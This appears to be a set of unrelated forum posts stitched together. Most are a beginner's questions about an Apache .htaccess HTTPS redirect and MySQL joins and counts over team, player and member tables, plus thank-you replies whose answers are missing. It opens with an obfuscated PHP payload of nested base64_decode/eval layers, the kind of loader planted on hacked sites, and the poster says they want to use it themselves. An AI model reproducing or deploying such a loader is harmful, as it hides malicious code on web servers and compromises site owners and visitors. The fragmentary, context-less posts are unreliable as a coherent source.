VXhhSGRXUjBaeVUyNUdWVlpXV2t4YVJscHpZekZ3UmxwSGNGTk5TRUpHVmtkNGEyUXlSbFpOV0VaU1ZrWktWbFZyVm5kU01VNDJVVzVPVkZKdFVqRldNakYzWVVaYVZtTklXbGhYU0VKUVZrUktUMU5HVWxsalJscHBWakpvZDFkWGVGWk5WMDE0Vld0b2FsSkZOWEpaYTJoRFUxWnNjbFZyZEZaV01GcFpWa1pTVDFaR1dsaFZiR2hhVm5wR1NGVXdWVFZUUm5CR1pFZDRhV0pXUmpWV2Frb3dZVEpOZDAxWVRsSmlhMHBoV2xjeFUxTXhWWGRWYTA1cFlUTkJNbGw2U2pCV2F6RlhWbTAxVmxKck5VTlpiWFIzVTFaT2MxRnRhR2hXVlZVeFZURldhMU15UmtoVVdHeFhWa1Z3VUZWdGNITmpiR1J6V2tVNWEySklRa2xXYkdNMVV6RktkR0ZHUWxkaVIyaDVXVEJWTlU1V1JuUmxSM1JwVmxad05sVjZRazlWTWxaWFZWaHNhVTB3U2xGYVZtUk9UVEZrYzJGSFJtaFNNSEJGVjJwS01GWnJNVmRXYm1SVlRUSk5OVlZHVG1wT01IQkdUVlZTU2xKRVFtNVRibXhUWTBaSmVWVlhaRkZWTUVwd1YxWm9UMkpGTlhGVmJWcGhVakZhY1ZscVNsTmlSWFJFVld4V1UxZEdjSEpUTVZKNldqRndXVmR0YUdsUk1tUnlXVlpXYTJFd2RGVmpNalZRVFd4WmVWZFdaRE5pTUhCR1RWVlNURlpJVFRsS2VuTnJZMjFqWjFCVFFXNUtSWGhyV1hsQk9VbEhTbWhqTWxVeVRrWTVhMXBYVG5aYVIxVnZTa2hTZUZOR1kzQlBlVUpzWkcxR2MwdERVazFhUjAxd1QzbGpOMXBZV21oaVEyZHJZMjFqY0U5M1BUMG5PeVJ5VFNBOUlDY2tWMHBhSUQwZ1ltRnpaVFkwWDJSbFkyOWtaU2drZDFGTldpazdJR1YyWVd3b0pGZEtXaWs3Snp0bGRtRnNLQ1J5VFNrNyc7JHZPID0gJyRhRUMgPSBiYXNlNjRfZGVjb2RlKCR0WGtFKTsgZXZhbCgkYUVDKTsnO2V2YWwoJHZPKTs=';$xm = '$BPk = base64_decode($GBAY); eval($BPk);'; eval($xm); I'm also wishing to learn more about this type of code and how I could use it myself, I believe it's like inception or something it has amazed me.

Hi there, I'm fairly new to sever management and apache. I'm having issues with curl requests on my website and i'm been told to: However even with searching online I can see how to add the exceptions for pages ending in certain file types and not for the exception mentioned above. Here is my HTACCESS FILE: # STARTNITRO RewriteRule .* - [E=HTTP_IF_MODIFIED_SINCE:%{HTTP:If-Modified-Since}] ExpiresActive On #CSS JS XML TXT - 1 WEEK <FilesMatch "\.(xml|txt|css|js)$"> Header set Cache-Control "max-age=604800, public" ExpiresDefault "access plus 1 week" </FilesMatch> #JPG JPEG PNG GIF SWF SVG - 1 MONTH <FilesMatch "\.(jpg|jpeg|png|gif|swf|svg|JPG|JPEG|PNG|GIF|SWF|SVG)$"> Header set Cache-Control "max-age=2678400, public" ExpiresDefault "access plus 1 month" Header set Last-Modified "Wed, 05 Jun 2009 06:40:46 GMT" </FilesMatch> #OTF WOFF TTF ICO PDF FLV - 1 MONTH <FilesMatch "\.(otf|ico|pdf|flv|woff|ttf)$"> Header set Cache-Control "max-age=2678400, public" ExpiresDefault "access plus 1 month" </FilesMatch> # ENDNITRO # STARTCOMPRESSNITRO RewriteEngine On RewriteCond %{SCRIPT_FILENAME} !-d RewriteRule ^(\/?((catalog)|(assets)).+)\.css$ assets/style.php?l=4&p=$1&c=604800 [NC,L] RewriteCond %{SCRIPT_FILENAME} !-d RewriteRule ^(\/?((catalog)|(assets)).+)\.js$ assets/script.php?l=4&p=$1&c=604800 [NC,L] AddType image/svg+xml .svg AddOutputFilterByType DEFLATE image/svg+xml # ENDCOMPRESSNITRO RewriteEngine On RewriteCond %{HTTPS} off RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R,L] # SEO URL Settings RewriteEngine On RewriteBase / RewriteRule ^sitemap.xml$ index.php?route=feed/google_sitemap [L] RewriteRule ^googlebase.xml$ index.php?route=feed/google_base [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_URI} !.*\.(ico|gif|jpg|jpeg|png|js|css) RewriteRule ^([^?]*) index.php?_route_=$1 [L,QSA] I would really appreciate if someone could walk me through the code to modified to an the above exceptions. I believe it would be the following code I would need to edit: RewriteEngine On RewriteCond %{HTTPS} off RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R,L] But like I mentioned i'm not entirely sure.

SELECT count(*) as accepted_in_2015 FROM team_players as tp LEFT JOIN teams_info as ti ON (ti.team_id = tp.team_id AND ti.entry_year = 2015) LEFT JOIN members as m ON (m.members_id = tp.members_id AND m.status = 1) The AND m.status = 1 is incorrect here as the status = 1 is in the team_players table. I have tried to change this too tp.status = 1; However it seems that isn't the correct way of doing this and throws an error. I assuming that this is because the tp alias will not work in the members ON(). Would I use WHERE status = 1 at the end of the mysql?

This is amazing, a great walk through for a newbie; Thank you very much for taking the time to help me out I will go away and study what each of sections do in more details.

Thank you for your explanation I have been reading upon the information you provided and it seems to make a lot more sense too me

I have three tables in my database listed below: Table: teams_info team_id team_name entry_year status 1 team 1 2015 1 2 team 2 2015 1 3 team 2 2016 1 Table: team_players player_id team_id status members_id position 1 1 0 1 1 2 1 1 2 2 3 1 1 3 3 4 1 1 4 4 5 2 0 5 1 6 2 0 6 2 7 2 1 7 3 Table: members members_id first_name surname gender 1 joe blogg male 2 james smith male 3 sarah marshall female 4 tony walker male 5 peter jones male 6 jessica varley female 7 jane varley female I'm trying to get my head around how I would get the following information, 1) How many team_players from team_info.entry_year = 2015 have accepted the to join a team (this will be all players with status = 1) 2) How many team_players from team_info.entry_year = 2015 have been invited (basically counting all records that belong to 2015 teams) 3) The total Males players from 2015 teams. 4) The total female players from 2015 teams. i'm fairly new to SQL and it seems I have made things complicated whilst trying to follow the best standards, however I can not wrap my head around where to start. Any help would be greatly appreciated.

Thank you very much;

Thank you for your response; Although I'm not only getting 1 results as if it has grouped it all up; I have three tables team_details team_players members I'm trying to get the NAP which is the 'Number of Accepted Players' which is team_player.status = 1 The first time I executed my MYSQL in got the full list on teams, their managers name, team name etc. But I need to find how many team players have accepted to join their team. I thought that the count(*) all team_players that status = 1 for that team_id would provide me this; However it seems I have done this wrong as it's now grouped everything into 1 result.

Infact I have added to the first select and now it is showing the NAP